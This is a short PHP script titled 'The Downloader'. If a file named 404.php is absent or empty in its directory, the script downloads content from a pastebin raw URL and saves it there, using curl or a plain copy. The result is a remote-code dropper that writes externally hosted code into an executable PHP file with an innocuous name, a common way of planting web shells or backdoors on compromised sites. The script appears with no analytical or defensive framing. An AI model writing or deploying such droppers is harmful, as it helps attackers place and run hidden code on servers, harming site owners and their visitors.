The Downloader

<?php
//The Downloader
$fn = __DIR__.'/404.php';
$fu = 'https://pastebin.com/raw/GWVVCDUj';
if (!file_exists($fn) || filesize($fn) == 0) {
    if (function_exists('curl_version')) {
        $ch = curl_init($fu);
        $fp = fopen($fn, 'w');
        curl_setopt($ch, CURLOPT_FILE, $fp);
        curl_exec($ch);
        curl_close($ch);
        fclose($fp);
    } else {
        copy($fu, $fn);
    }
}
?>